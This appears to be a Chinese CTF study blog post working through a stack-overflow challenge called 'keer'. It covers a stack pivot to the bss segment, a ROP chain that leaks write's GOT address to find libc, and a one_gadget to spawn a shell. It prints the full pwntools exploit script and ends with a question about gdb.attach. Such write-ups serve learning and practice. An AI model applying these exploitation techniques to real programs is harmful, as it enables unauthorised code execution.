2020-11-19学习记录(keer‘s bug与gdb bug)

keer’s bug

之前比赛的时候死脑经了, 想到栈迁移但是不会控制rdx就放弃了, 但是没注意到之前read函数残余在rdx上的参数, 啊啊啊笨死了!
残余参数, 可以看到即使在函数返回的时候依旧在rdx上存有数据:
在这里插入图片描述
同时可以看一下在调用read函数之前寄存器做出的相关处理:
在这里插入图片描述
在我选定的那一行可以看到是根据rbp来决定s的地址的(应该算基础知识,悲), 所以如果迁移到了bss段上, 那日后写入的地址也就自然会在bss段上了

所以第一次payload只要做到迁移就行了, 但是要注意由于底下不能连续leave;ret, 所以我们要注意不能返回到新的函数开头, 不然会构造新的栈帧, 本题栈迁移就没啥用了

payload1='a'*0x50
payload1+=p64(bss_stage)
payload1+=p64(bread_addr)

然后就是在fake stack上的构造, 由于gdb调试出现了bug(为了不影响阅读, bug会单独放底下说), 于是就手绘了一下fake stack:
在这里插入图片描述
比较要注意的就是仨padding和那个-0x58了, 如果好好想想也没啥

payload2=p64(prdi)+p64(1)+p64(prsi_r15)+p64(elf.got['write'])+p64(0)
payload2+=p64(elf.plt['write'])+p64(main_addr)+p64(0)*3
payload2+=p64(bss_stage-0x58)+p64(leave_ret)
sh.send(payload2)

之后就是普普通通跑one_gadget了

EXP:

#!/usr/bin/env python                                                                                                                                                             
# coding=utf-8
from pwn import *
sh=process('./keer')
elf=ELF("./keer")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'

one_gadget=0xf1207
bss_stage=elf.bss()+0x100
prsi_r15=0x0400671
prdi=0x0400673
bread_addr=0x04005ED
main_addr=0x04005B6
leave_ret=0x040060d

payload1=p64(0)*10
payload1+=p64(bss_stage)
payload1+=p64(bread_addr)
sh.recv()
sh.send(payload1)

payload2=p64(prdi)+p64(1)+p64(prsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.plt['write'])+p64(main_addr)+p64(0)*3+p64(bss_stage-0x58)+p64(leave_ret)
sh.send(payload2)

write_addr=u64(sh.recv(8))
libcbase=write_addr-libc.sym['write']
print hex(libcbase)
                                                                                                                                                                                  
one_gadget+=libcbase
payload3=p64(0)*11+p64(one_gadget)
sh.sendline(payload3)
sh.interactive()

gdb的bug:

在exp中加入gdb.attach()会导致无法接收到write的地址, 完全没有输出, 并且如果查看fake stack的话, 也与输入的payload2不符合, 不知道为啥, 望大佬们解答

猜你喜欢

转载自blog.csdn.net/eeeeeight/article/details/109823202
bug